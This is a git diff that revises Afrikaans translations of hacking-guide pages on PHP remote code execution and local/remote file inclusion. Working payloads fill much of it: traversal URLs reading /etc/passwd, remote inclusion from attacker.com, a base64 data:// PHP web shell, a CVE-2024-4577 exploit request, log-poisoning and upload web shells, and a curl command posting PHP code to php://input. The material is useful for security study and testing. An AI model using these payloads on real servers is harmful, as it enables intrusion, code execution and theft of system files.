U sal die **kode** **sintaksis** moet **breek**, u **payload** moet **byvoeg**, en dit dan weer **regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie omdat ons payload nie uitgevoer sal word nie.
|
||||
|
||||
**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'`
|
||||
**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'`
|
||||
|
||||
**Ander opsie** (as u die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: `$file = "hola"`
|
||||
|
||||
@ -266,13 +267,13 @@ Om die aantal hakies wat u moet sluit te ontdek:
|
||||
|
||||
### **RCE via .httaccess**
|
||||
|
||||
As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess **uitgevoer** kan word).
|
||||
As u **'n .htaccess kan oplaai**, kan u **verskeie dinge konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess **uitgevoer kan word**).
|
||||
|
||||
Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word.
|
||||
|
||||
### RCE via Env Variabeles
|
||||
### RCE via Env Variabelen
|
||||
|
||||
As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry.
|
||||
As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabelen in PHP te wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry.
|
||||
|
||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binêre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie).
|
||||
- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode.
|
||||
@ -289,11 +290,11 @@ As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **w
|
||||
|
||||
### XAMPP CGI RCE - CVE-2024-4577
|
||||
|
||||
Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te spuit om die PHP-kode uit die liggaam te laai:
|
||||
Die webbediener ontleed HTTP versoeke en stuur dit na 'n PHP-skrip wat 'n versoek uitvoer soos [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) as `php.exe cgi.php foo=bar`, wat 'n parameterinjeksie toelaat. Dit sal toelaat om die volgende parameters in te voeg om die PHP-kode uit die liggaam te laai:
|
||||
```jsx
|
||||
-d allow_url_include=1 -d auto_prepend_file=php://input
|
||||
```
|
||||
Boonop, dit is moontlik om die "-" param te injekteer met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
Boonop, dit is moontlik om die "-" parameter in te voeg met die 0xAD karakter as gevolg van latere normalisering van PHP. Kyk na die eksploit voorbeeld van [**hierdie pos**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
||||
```jsx
|
||||
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
||||
Host: {{host}}
|
||||
@ -351,7 +352,7 @@ echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## RCE wat nuwe $\_GET\["a"]\($\_GET\["b") misbruik
|
||||
|
||||
As jy op 'n bladsy **'n nuwe objek van 'n arbitrêre klas kan skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
|
||||
As jy op 'n bladsy **n nuwe objek van 'n arbitrêre klas** kan **skep**, mag jy in staat wees om RCE te verkry, kyk na die volgende bladsy om te leer hoe:
|
||||
|
||||
{{#ref}}
|
||||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
||||
|
@ -1,13 +1,13 @@
|
||||
# Bestandsinsluiting/Pad traversering
|
||||
# Bestandsinsluiting/Pad traversie
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Bestandsinsluiting
|
||||
|
||||
**Afgeleë Bestandsinsluiting (RFI):** Die bestand word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **deaktivated** per standaard (**allow_url_include**).\
|
||||
**Plaaslike Bestandsinsluiting (LFI):** Die bediener laai 'n plaaslike bestand.
|
||||
**Afgeleë Bestandsinsluiting (RFI):** Die lêer word van 'n afgeleë bediener gelaai (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit **deaktivated** per standaard (**allow_url_include**).\
|
||||
**Plaaslike Bestandsinsluiting (LFI):** Die bediener laai 'n plaaslike lêer.
|
||||
|
||||
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die bestand kan beheer wat deur die bediener gelaai gaan word.
|
||||
Die kwesbaarheid ontstaan wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.
|
||||
|
||||
Kwetsbare **PHP funksies**: require, require_once, include, include_once
|
||||
|
||||
@ -25,10 +25,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Probeer ook om `/` te verander na `\`\
|
||||
Probeer ook om `/` te vervang met `\`\
|
||||
Probeer ook om `../../../../../` by te voeg.
|
||||
|
||||
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier gevind word](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gevind word.
|
||||
|
||||
### **Windows**
|
||||
|
||||
@ -38,10 +38,10 @@ Samevoeging van verskillende woordlyste:
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Probeer ook om `/` te verander na `\`\
|
||||
Probeer ook om `/` te vervang met `\`\
|
||||
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
|
||||
|
||||
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier gevind word](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gevind word.
|
||||
|
||||
### **OS X**
|
||||
|
||||
@ -53,7 +53,7 @@ Al die voorbeelde is vir Local File Inclusion, maar kan ook op Remote File Inclu
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traverseringsekwensies nie-rekursief verwyder
|
||||
### traverseringsekwensies nie-recursief verwyder
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -90,14 +90,14 @@ Die lêerstelsel van 'n bediener kan herhalend verken word om directories te ide
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Probeer vir Gidsen:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
|
||||
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die bykomende gidsvlak vereis dat die diepte met een verhoog word:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Interpret die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
|
||||
3. **Interpret die Uitslae:** Die bediener se antwoord dui aan of die gids bestaan:
|
||||
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
|
||||
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
|
||||
4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
|
||||
4. **Herhalende Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
|
||||
|
||||
Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
|
||||
```bash
|
||||
@ -105,13 +105,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Pad Afkorting Tegniek**
|
||||
|
||||
Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat bykomende karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander word, steeds na die gewenste lêer wys.
|
||||
Pad afkorting is 'n metode wat gebruik word om lêerpaaie in webtoepassings te manipuleer. Dit word dikwels gebruik om beperkte lêers te bekom deur sekere sekuriteitsmaatreëls te omseil wat addisionele karakters aan die einde van lêerpaaie voeg. Die doel is om 'n lêerpad te skep wat, sodra dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer wys.
|
||||
|
||||
In PHP kan verskeie voorstellings van 'n lêerpad as gelykwaardig beskou word weens die aard van die lêerstelsel. Byvoorbeeld:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad behandel.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, en `/etc/passwd/` word almal as dieselfde pad hanteer.
|
||||
- Wanneer die laaste 6 karakters `passwd` is, verander die toevoeging van 'n `/` (wat dit `passwd/` maak) nie die geteikende lêer nie.
|
||||
- Op soortgelyke wyse, as `.php` aan 'n lêerpad bygevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
|
||||
- Op soortgelyke wyse, as `.php` aan 'n lêerpad gevoeg word (soos `shellcode.php`), sal die toevoeging van `/.` aan die einde nie die lêer wat toegang verkry nie, verander.
|
||||
|
||||
Die verskafde voorbeelde demonstreer hoe om pad afkorting te gebruik om toegang te verkry tot `/etc/passwd`, 'n algemene teiken weens sy sensitiewe inhoud (gebruikersrekeninginligting):
|
||||
```
|
||||
@ -123,15 +123,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
In hierdie scenario's mag die aantal traversals rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
||||
In hierdie scenario's mag die aantal traversals wat nodig is rondom 2027 wees, maar hierdie getal kan wissel op grond van die bediener se konfigurasie.
|
||||
|
||||
- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal volgordes (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde strings deur die bediener ignoreer.
|
||||
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` volgordes vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde strings (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
|
||||
- **Gebruik van Punt Segmente en Bykomende Karakters**: Traversal volgordes (`../`) gekombineer met ekstra punt segmente en karakters kan gebruik word om die lêerstelsel te navigeer, wat effektief bygevoegde stringe deur die bediener ignoreer.
|
||||
- **Bepaling van die Benodigde Aantal Traversals**: Deur middel van proef en fout kan 'n mens die presiese aantal `../` volgordes vind wat nodig is om na die wortelgids te navigeer en dan na `/etc/passwd`, terwyl verseker word dat enige bygevoegde stringe (soos `.php`) geneutraliseer word, maar die gewenste pad (`/etc/passwd`) intakt bly.
|
||||
- **Begin met 'n Vals Gids**: Dit is 'n algemene praktyk om die pad met 'n nie-bestaande gids (soos `a/`) te begin. Hierdie tegniek word gebruik as 'n voorsorgmaatreël of om aan die vereistes van die bediener se pad parsingslogika te voldoen.
|
||||
|
||||
Wanneer pad truncasie tegnieke toegepas word, is dit van kardinale belang om die bediener se pad parsingsgedrag en lêerstelselstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees effektiewe metode te vind.
|
||||
|
||||
**Hierdie kwesbaarheid is reggestel in PHP 5.3.**
|
||||
**Hierdie kwesbaarheid is in PHP 5.3 reggestel.**
|
||||
|
||||
### **Filter omseil truuks**
|
||||
```
|
||||
@ -148,7 +148,7 @@ In php is dit standaard gedeaktiveer omdat **`allow_url_include`** **Af** is. Di
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
As dit om een of ander rede **`allow_url_include`** is **Aan**, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die data protokol met base64 gebruik om 'n b64 PHP kode te dekodeer en RCE te verkry:
|
||||
As dit om een of ander rede **`allow_url_include`** is **Aan**, maar PHP **filter** toegang tot eksterne webbladsye, [volgens hierdie pos](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), kan jy byvoorbeeld die dataprotocol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te verkry:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -177,7 +177,7 @@ Dit is die bedoelde gedrag volgens [the docs](https://docs.python.org/3.10/libra
|
||||
|
||||
## Java Lys Gidsen
|
||||
|
||||
Dit lyk of jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids word teruggestuur**. Dit sal nie in ander tale gebeur nie (afaik).
|
||||
Dit lyk of jy 'n Pad Traversal in Java het en jy **vra vir 'n gids** in plaas van 'n lêer, 'n **lys van die gids word teruggestuur**. Dit sal nie in ander tale gebeur nie (sover ek weet).
|
||||
|
||||
## Top 25 parameters
|
||||
|
||||
@ -229,7 +229,7 @@ PHP-filters laat basiese **wysigingsoperasies op die data** toe voordat dit gele
|
||||
- `convert.iconv.*` : Transformeer na 'n ander kodering (`convert.iconv.<input_enc>.<output_enc>`). Om die **lys van alle ondersteunde kodering** te kry, voer in die konsole in: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **arbitraire teks genereer**, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te maak. Vir meer inligting, kyk na [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Deur die `convert.iconv.*` omskakelingsfilter te misbruik, kan jy **arbitraire teks genereer**, wat nuttig kan wees om arbitraire teks te skryf of 'n funksie soos insluitingsproses arbitraire teks te laat maak. Vir meer inligting, kyk na [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Komprimeer die inhoud (nuttig as jy baie inligting uitbring)
|
||||
@ -285,13 +285,13 @@ In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek
|
||||
- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodes kan gebruik word om ander letters na die hex reeks te beweeg).
|
||||
- Wanneer die aanvanklike karakter 'n getal is, is dit nodig om dit in base64 te kodeer en die eerste 2 letters te lek om die getal te lek.
|
||||
- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te lek**. Deur orde geheue filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
|
||||
- En ten einde **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit te **pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
- En om in staat te wees om **verdere data** te verkry, is die idee om **2 bytes van rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toepas **UCS-4LE** om dit te **pivot met die volgende 2 bytes**, en **verwyder die data tot die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Hou aan om dit te doen totdat jy die gewenste bit bereik om te lek.
|
||||
|
||||
In die pos is 'n hulpmiddel om dit outomaties uit te voer ook gelekt: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Hierdie wrapper laat toegang toe tot lêer beskrywings wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
|
||||
Hierdie wrapper laat toegang toe tot lêerdescriptors wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te eksfiltreer:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
@ -337,7 +337,7 @@ http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Gee jou payload in die POST parameters aan:
|
||||
Gee jou payload in die POST parameters:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
@ -378,7 +378,7 @@ Dit was moontlik om stukke van spesifieke groottes toe te ken deur meer php-filt
|
||||
|
||||
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluit aanval nie)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêerinvoegaanval nie)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Toegang tot plaaslike lêerstelsel
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Toegang tot HTTP(s) URL's
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Toegang tot FTP(s) URL's
|
||||
@ -389,7 +389,7 @@ Check more possible[ **protocols to include here**](https://www.php.net/manual/e
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversering karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
|
||||
Local File Inclusion (LFI) risiko's in PHP is merkbaar hoog wanneer dit kom by die 'assert' funksie, wat kode binne strings kan uitvoer. Dit is veral problematies as invoer wat katalogus traversie karakters soos ".." bevat, nagegaan word maar nie behoorlik gesuiwer word nie.
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
@ -418,7 +418,7 @@ Dan, om die eerste karakter te lek, word die filter **`dechunk`** gebruik saam m
|
||||
|
||||
**Funksies wat kwesbaar mag wees**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (slegs teiken lees net hiermee)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Vir die tegniese besonderhede, kyk na die genoemde pos!
|
||||
Vir die tegniese besonderhede kyk na die genoemde pos!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
@ -428,12 +428,12 @@ Soos voorheen verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log lêer
|
||||
|
||||
As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie, kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in.
|
||||
As die Apache of Nginx bediener **kwesbaar is vir LFI** binne die insluitingsfunksie kan jy probeer om toegang te verkry tot **`/var/log/apache2/access.log` of `/var/log/nginx/access.log`**, stel binne die **gebruikersagent** of binne 'n **GET parameter** 'n php shell soos **`<?php system($_GET['c']); ?>`** en sluit daardie lêer in.
|
||||
|
||||
> [!WARNING]
|
||||
> Let daarop dat **as jy dubbele aanhalings** vir die shell gebruik in plaas van **enkele aanhalings**, die dubbele aanhalings sal verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word** nie.
|
||||
>
|
||||
> Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
> Maak ook seker dat jy **die payload korrek skryf** of PHP sal elke keer 'n fout maak wanneer dit probeer om die log lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
|
||||
|
||||
Dit kan ook in ander logs gedoen word, maar **wees versigtig,** die kode binne die logs kan URL-gecodeer wees en dit kan die Shell vernietig. Die kopstuk **authorisation "basic"** bevat "user:password" in Base64 en dit word binne die logs gedecodeer. Die PHPShell kan binne hierdie kopstuk ingevoeg word.\
|
||||
Ander moontlike log paaie:
|
||||
@ -466,9 +466,9 @@ Soos 'n loglêer, stuur die payload in die User-Agent, dit sal binne die /proc/s
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Via oplaai
|
||||
### Deur op te laai
|
||||
|
||||
As jy 'n lêer kan oplaai, injecteer net die shell payload daarin (bv: `<?php system($_GET['c']); ?>`).
|
||||
As jy 'n lêer kan oplaai, voeg net die shell payload daarin in (bv: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
@ -519,25 +519,25 @@ http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=da
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (geen lêer nodig)
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Hierdie [**skrywe**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
|
||||
Hierdie [**skrywe** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters kan gebruik om arbitrêre inhoud** as uitvoer te genereer. Dit beteken basies dat jy **arbitrêre php kode** vir die insluiting kan **genereer sonder om** dit in 'n lêer te skryf.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentasiefout
|
||||
### Via segmentation fault
|
||||
|
||||
**Laai** 'n lêer op wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek,** veroorsaak 'n **segmentasiefout**, en dan sal die **tydelike lêer nie verwyder word** nie en jy kan daarna soek.
|
||||
**Laai** 'n lêer op wat as **tydelik** in `/tmp` gestoor sal word, dan in die **dieselfde versoek,** veroorsaak 'n **segmentation fault**, en dan sal die **tydelike lêer nie verwyder word** nie en jy kan daarna soek.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx tydelike lêer stoor
|
||||
### Via Nginx temp file storage
|
||||
|
||||
As jy 'n **Plaaslike Lêer Insluiting** gevind het en **Nginx** loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
|
||||
As jy 'n **Local File Inclusion** gevind het en **Nginx** loop voor PHP, kan jy dalk RCE verkry met die volgende tegniek:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
@ -545,15 +545,15 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
As jy 'n **Plaaslike Lêer Insluiting** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP **die sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
|
||||
As jy 'n **Local File Inclusion** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP **die sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via tydelike lêer opgelaai in Windows
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
As jy 'n **Plaaslike Lêer Insluiting** gevind het en die bediener loop in **Windows**, kan jy RCE verkry:
|
||||
As jy 'n **Local File Inclusion** gevind het en die bediener loop in **Windows**, kan jy RCE verkry:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
@ -582,7 +582,7 @@ As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** bloot
|
||||
lfi2rce-via-phpinfo.md
|
||||
{{#endref}}
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Pad Ontsluiting
|
||||
|
||||
As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** is **besig** om te kyk of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
|
||||
|
||||
@ -590,28 +590,30 @@ As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydel
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Via eternal waiting + bruteforce
|
||||
### Via ewige wag + bruteforce
|
||||
|
||||
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener kan die PHP-uitvoering **hang**, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
|
||||
As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener **hang** die PHP uitvoering, kan jy dan **brute force lêernames vir ure** om die tydelike lêer te vind:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### To Fatal Error
|
||||
### Tot Fatale Fout
|
||||
|
||||
As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
|
||||
|
||||
**Ek weet nie hoe dit nuttig is nie, maar dit mag wees.**\
|
||||
&#xNAN;_Eselfs as jy 'n PHP Fatal Error veroorsaak, word PHP tydelike lêers wat opgelaai is, verwyder._
|
||||
